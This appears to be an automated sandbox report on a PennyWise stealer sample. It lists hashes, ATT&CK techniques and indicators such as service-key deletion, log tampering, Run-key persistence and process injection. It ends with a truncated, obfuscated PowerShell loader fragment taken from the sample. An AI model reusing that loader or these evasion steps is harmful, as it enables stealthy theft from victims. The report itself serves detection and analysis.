pennywise | f906d33be62c5707e7e2eaa3a25392ead4e9d4da71c717cb5d34c5924afed129

Resubmissions

01/02/2026, 22:26

260201-2cgwpagt4e10

18/06/2022, 22:16

220618-16r33sbeel10

Analysis

max time kernel
150s
max time network
94s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
01/02/2026, 22:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Install.exe
Size 3.0MB
Sample260201-2cgwpagt4e
SHA256 f906d33be62c5707e7e2eaa3a25392ead4e9d4da71c717cb5d34c5924afed129
MD5 47a998a7efae3efe3619c9707748de03
SHA1 3aaca045716a947aefea0c62c0371625a1081f65
SHA512 87becb964fe2a49c9c6e67aac133162e784e03e7870e64f777f31a72b665cd18e2acab76ec7334ead6d43251aa587c3dcc90dad89edb13217e3dd780a5d6bde1
SSDEEP 49152:kRUj44qJc3tzuVQlnevTAAzi7kbYhJ0Delg1Y6PQr5bJvwM2MJmWYKXXvv:kF4qSMWlRAWxHz64tVZ2MZv
TLSH
T1C4E533606104C4B2E4431D381EE17B34A26D0F6926DACF078237398EDAD9B57BF2AD75
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit pennywise persistence stealer

Malware Config

Signatures

Detects PennyWise 1 IoCs

stealer

resource	yara_rule
behavioral2/memory/36968-56-0x0000000000400000-0x0000000000422000-memory.dmp	family_pennywise

Modifies security service 2 TTPs 5 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

PennyWise
PennyWise is a stealer written in C#.
stealer pennywise
Pennywise family
pennywise

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 4744 created 640	4744	powershell.EXE	5
PID 36992 created 640	36992	powershell.EXE	5

Possible privilege escalation attempt 4 IoCs

exploit

pid	Process
37824	icacls.exe
7764	takeown.exe
7816	icacls.exe
37792	takeown.exe

Executes dropped EXE 5 IoCs

pid	Process
2448	Java.exe
4496	yt.exe
5020	33334.exe
2824	Java Update.exe
4504	chrome.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WER-Diag%4Operational.evtx	svchost.exe

Modifies file permissions 1 TTPs 4 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
37792	takeown.exe
37824	icacls.exe
7764	takeown.exe
7816	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000\Software\Microsoft\Windows\CurrentVersion\Run\Java Update = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Java Update\\Java Update.exe"	Java.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
36992	powershell.EXE
4744	powershell.EXE

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

ConfuserEx .NET packer 1 IoCs

Detects ConfuserEx .NET packer.

resource	yara_rule
behavioral2/memory/2448-15-0x0000000002920000-0x0000000002930000-memory.dmp	ConfuserEx

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 4496 set thread context of 36968	4496	yt.exe	86
PID 5020 set thread context of 37492	5020	33334.exe	90
PID 4744 set thread context of 1560	4744	powershell.EXE	115
PID 36992 set thread context of 3064	36992	powershell.EXE	123
PID 4504 set thread context of 6932	4504	chrome.exe	131

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\dialersvc32.job	conhost.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	conhost.exe
File created	C:\Windows\Tasks\dialersvc64.job	conhost.exe
File opened for modification	C:\Windows\Tasks\dialersvc64.job	conhost.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
7120	sc.exe
4868	sc.exe
37588	sc.exe
37640	sc.exe
6868	sc.exe
7268	sc.exe
7324	sc.exe
37500	sc.exe
37536	sc.exe
37604	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	yt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AppLaunch.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1769984945"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE

Modifies registry key 1 TTPs 18 IoCs

Modify Registry

T1112

pid	Process
7584	reg.exe
7656	reg.exe
8060	reg.exe
7880	reg.exe
7944	reg.exe
8040	reg.exe
37720	reg.exe
37756	reg.exe
7508	reg.exe
37672	reg.exe
37688	reg.exe
37704	reg.exe
2568	reg.exe
5660	reg.exe
7716	reg.exe
1940	reg.exe
2080	reg.exe
7396	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
6984	powershell.exe
6984	powershell.exe
5020	33334.exe
37740	powershell.exe
37740	powershell.exe
4744	powershell.EXE
36992	powershell.EXE
36992	powershell.EXE
4744	powershell.EXE
4744	powershell.EXE
1560	dllhost.exe
1560	dllhost.exe
1560	dllhost.exe
1560	dllhost.exe
1560	dllhost.exe
1560	dllhost.exe
5436	powershell.EXE
1560	dllhost.exe
1560	dllhost.exe
36992	powershell.EXE
3064	dllhost.exe
3064	dllhost.exe
3064	dllhost.exe
3064	dllhost.exe
1560	dllhost.exe
1560	dllhost.exe
5436	powershell.EXE
3064	dllhost.exe
3064	dllhost.exe
1560	dllhost.exe
1560	dllhost.exe
3064	dllhost.exe
3064	dllhost.exe
1560	dllhost.exe
1560	dllhost.exe
3064	dllhost.exe
3064	dllhost.exe
1560	dllhost.exe
1560	dllhost.exe
5436	powershell.EXE
3064	dllhost.exe
3064	dllhost.exe
1560	dllhost.exe
1560	dllhost.exe
3064	dllhost.exe
3064	dllhost.exe
1560	dllhost.exe
1560	dllhost.exe
3064	dllhost.exe
3064	dllhost.exe
1560	dllhost.exe
1560	dllhost.exe
3064	dllhost.exe
3064	dllhost.exe
1560	dllhost.exe
1560	dllhost.exe
3064	dllhost.exe
3064	dllhost.exe
1560	dllhost.exe
1560	dllhost.exe
3064	dllhost.exe
3064	dllhost.exe
1560	dllhost.exe
1560	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3128	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	6984	powershell.exe
Token: SeDebugPrivilege	36968	AppLaunch.exe
Token: SeDebugPrivilege	5020	33334.exe
Token: SeTakeOwnershipPrivilege	37792	takeown.exe
Token: SeDebugPrivilege	37740	powershell.exe
Token: SeDebugPrivilege	36992	powershell.EXE
Token: SeDebugPrivilege	4744	powershell.EXE
Token: SeIncreaseQuotaPrivilege	37740	powershell.exe
Token: SeSecurityPrivilege	37740	powershell.exe
Token: SeTakeOwnershipPrivilege	37740	powershell.exe
Token: SeLoadDriverPrivilege	37740	powershell.exe
Token: SeSystemProfilePrivilege	37740	powershell.exe
Token: SeSystemtimePrivilege	37740	powershell.exe
Token: SeProfSingleProcessPrivilege	37740	powershell.exe
Token: SeIncBasePriorityPrivilege	37740	powershell.exe
Token: SeCreatePagefilePrivilege	37740	powershell.exe
Token: SeBackupPrivilege	37740	powershell.exe
Token: SeRestorePrivilege	37740	powershell.exe
Token: SeShutdownPrivilege	37740	powershell.exe
Token: SeDebugPrivilege	37740	powershell.exe
Token: SeSystemEnvironmentPrivilege	37740	powershell.exe
Token: SeRemoteShutdownPrivilege	37740	powershell.exe
Token: SeUndockPrivilege	37740	powershell.exe
Token: SeManageVolumePrivilege	37740	powershell.exe
Token: 33	37740	powershell.exe
Token: 34	37740	powershell.exe
Token: 35	37740	powershell.exe
Token: 36	37740	powershell.exe
Token: SeDebugPrivilege	4744	powershell.EXE
Token: SeDebugPrivilege	1560	dllhost.exe
Token: SeIncreaseQuotaPrivilege	37740	powershell.exe
Token: SeSecurityPrivilege	37740	powershell.exe
Token: SeTakeOwnershipPrivilege	37740	powershell.exe
Token: SeLoadDriverPrivilege	37740	powershell.exe
Token: SeSystemProfilePrivilege	37740	powershell.exe
Token: SeSystemtimePrivilege	37740	powershell.exe
Token: SeProfSingleProcessPrivilege	37740	powershell.exe
Token: SeIncBasePriorityPrivilege	37740	powershell.exe
Token: SeCreatePagefilePrivilege	37740	powershell.exe
Token: SeBackupPrivilege	37740	powershell.exe
Token: SeRestorePrivilege	37740	powershell.exe
Token: SeShutdownPrivilege	37740	powershell.exe
Token: SeDebugPrivilege	37740	powershell.exe
Token: SeSystemEnvironmentPrivilege	37740	powershell.exe
Token: SeRemoteShutdownPrivilege	37740	powershell.exe
Token: SeUndockPrivilege	37740	powershell.exe
Token: SeManageVolumePrivilege	37740	powershell.exe
Token: 33	37740	powershell.exe
Token: 34	37740	powershell.exe
Token: 35	37740	powershell.exe
Token: 36	37740	powershell.exe
Token: SeIncreaseQuotaPrivilege	37740	powershell.exe
Token: SeSecurityPrivilege	37740	powershell.exe
Token: SeTakeOwnershipPrivilege	37740	powershell.exe
Token: SeLoadDriverPrivilege	37740	powershell.exe
Token: SeSystemProfilePrivilege	37740	powershell.exe
Token: SeSystemtimePrivilege	37740	powershell.exe
Token: SeProfSingleProcessPrivilege	37740	powershell.exe
Token: SeIncBasePriorityPrivilege	37740	powershell.exe
Token: SeCreatePagefilePrivilege	37740	powershell.exe
Token: SeBackupPrivilege	37740	powershell.exe
Token: SeRestorePrivilege	37740	powershell.exe
Token: SeShutdownPrivilege	37740	powershell.exe
Token: SeDebugPrivilege	37740	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5296	Conhost.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3128	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4008 wrote to memory of 2448	4008	Install.exe	78
PID 4008 wrote to memory of 4496	4008	Install.exe	79
PID 4008 wrote to memory of 5020	4008	Install.exe	81
PID 2448 wrote to memory of 2824	2448	Java.exe	83
PID 5020 wrote to memory of 6984	5020	33334.exe	84
PID 4496 wrote to memory of 36968	4496	yt.exe	86
PID 4496 wrote to memory of 36968	4496	yt.exe	86
PID 5020 wrote to memory of 37440	5020	33334.exe	88
PID 5020 wrote to memory of 37492	5020	33334.exe	90
PID 5020 wrote to memory of 37492	5020	33334.exe	90
PID 5020 wrote to memory of 37492	5020	33334.exe	90
PID 5020 wrote to memory of 37492	5020	33334.exe	90
PID 5020 wrote to memory of 37492	5020	33334.exe	90
PID 5020 wrote to memory of 37492	5020	33334.exe	90
PID 5020 wrote to memory of 37492	5020	33334.exe	90
PID 5020 wrote to memory of 37492	5020	33334.exe	90
PID 37440 wrote to memory of 37500	37440	cmd.exe	91
PID 5020 wrote to memory of 37492	5020	33334.exe	90
PID 37440 wrote to memory of 37536	37440	cmd.exe	92
PID 37440 wrote to memory of 37588	37440	cmd.exe	93
PID 37440 wrote to memory of 37604	37440	cmd.exe	94
PID 37440 wrote to memory of 37640	37440	cmd.exe	95
PID 37440 wrote to memory of 37672	37440	cmd.exe	96
PID 37440 wrote to memory of 37688	37440	cmd.exe	97
PID 37440 wrote to memory of 37704	37440	cmd.exe	98
PID 37440 wrote to memory of 37720	37440	cmd.exe	99
PID 5020 wrote to memory of 37740	5020	33334.exe	100
PID 37440 wrote to memory of 37756	37440	cmd.exe	102
PID 37440 wrote to memory of 37792	37440	cmd.exe	103
PID 37440 wrote to memory of 37824	37440	cmd.exe	104
PID 37440 wrote to memory of 2568	37440	cmd.exe	109
PID 37440 wrote to memory of 1940	37440	cmd.exe	110
PID 37440 wrote to memory of 2080	37440	cmd.exe	111
PID 37440 wrote to memory of 5660	37440	cmd.exe	112
PID 37440 wrote to memory of 2960	37440	cmd.exe	113
PID 37440 wrote to memory of 5364	37440	cmd.exe	114
PID 4744 wrote to memory of 1560	4744	powershell.EXE	115
PID 4744 wrote to memory of 1560	4744	powershell.EXE	115
PID 4744 wrote to memory of 1560	4744	powershell.EXE	115
PID 4744 wrote to memory of 1560	4744	powershell.EXE	115
PID 4744 wrote to memory of 1560	4744	powershell.EXE	115
PID 4744 wrote to memory of 1560	4744	powershell.EXE	115
PID 4744 wrote to memory of 1560	4744	powershell.EXE	115
PID 4744 wrote to memory of 1560	4744	powershell.EXE	115
PID 4744 wrote to memory of 1560	4744	powershell.EXE	115
PID 37440 wrote to memory of 6032	37440	cmd.exe	116
PID 37440 wrote to memory of 3172	37440	cmd.exe	117
PID 37440 wrote to memory of 1264	37440	cmd.exe	118
PID 37440 wrote to memory of 3880	37440	cmd.exe	119
PID 37440 wrote to memory of 1124	37440	cmd.exe	120
PID 1560 wrote to memory of 640	1560	dllhost.exe	5
PID 1560 wrote to memory of 696	1560	dllhost.exe	7
PID 1560 wrote to memory of 912	1560	dllhost.exe	11
PID 1560 wrote to memory of 416	1560	dllhost.exe	13
PID 1560 wrote to memory of 720	1560	dllhost.exe	14
PID 1560 wrote to memory of 756	1560	dllhost.exe	15
PID 1560 wrote to memory of 1000	1560	dllhost.exe	16
PID 1560 wrote to memory of 1080	1560	dllhost.exe	17
PID 1560 wrote to memory of 1104	1560	dllhost.exe	18
PID 1560 wrote to memory of 1176	1560	dllhost.exe	19
PID 1560 wrote to memory of 1216	1560	dllhost.exe	21
PID 1560 wrote to memory of 1236	1560	dllhost.exe	22
PID 1560 wrote to memory of 1292	1560	dllhost.exe	23
PID 1560 wrote to memory of 1308	1560	dllhost.exe	24

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:640
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:756
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{e9d539af-ae01-4885-b184-80eea86f6a5d}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1560
- C:\Windows\SysWOW64\dllhost.exe
  C:\Windows\SysWOW64\dllhost.exe /Processid:{ba8c7c73-83ff-49d1-a63a-6f47667c7322}
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:3064

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:696

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-cd79c713-9da8-4aef-acd5-2ae84cf9677c -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-bde09cee-74b2-428f-bd23-3cc23b8ac266 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-eb0ead58-5e5f-4a01-adc3-d1487472de47 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-4890eb7e-390d-48fc-9656-8ad18723128b -LifetimeId:74e778cb-ce5c-48e3-9eab-64f598ecdde1 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:416

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:720

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1000

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1216
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:mnVbmhFbNQyQ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OGjYFjVwolmhpB,[Parameter(Position=1)][Type]$xqIepdkbRk)$lXoGICAfzDh=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$lXoGICAfzDh.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$OGjYFjVwolmhpB).SetImplementationFlags('Runtime,Managed');$lXoGICAfzDh.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$xqIepdkbRk,$OGjYFjVwolmhpB).SetImplementationFlags('Runtime,Managed');Write-Output $lXoGICAfzDh.CreateType();}$jJPKCFphWcwTR=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$BSKexqYyJcXzTV=$jJPKCFphWcwTR.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$lKrROlOSFnDrInXBSfT=mnVbmhFbNQyQ @([String])([IntPtr]);$fZwRTmqushqHnPmKDbyWAr=mnVbmhFbNQyQ 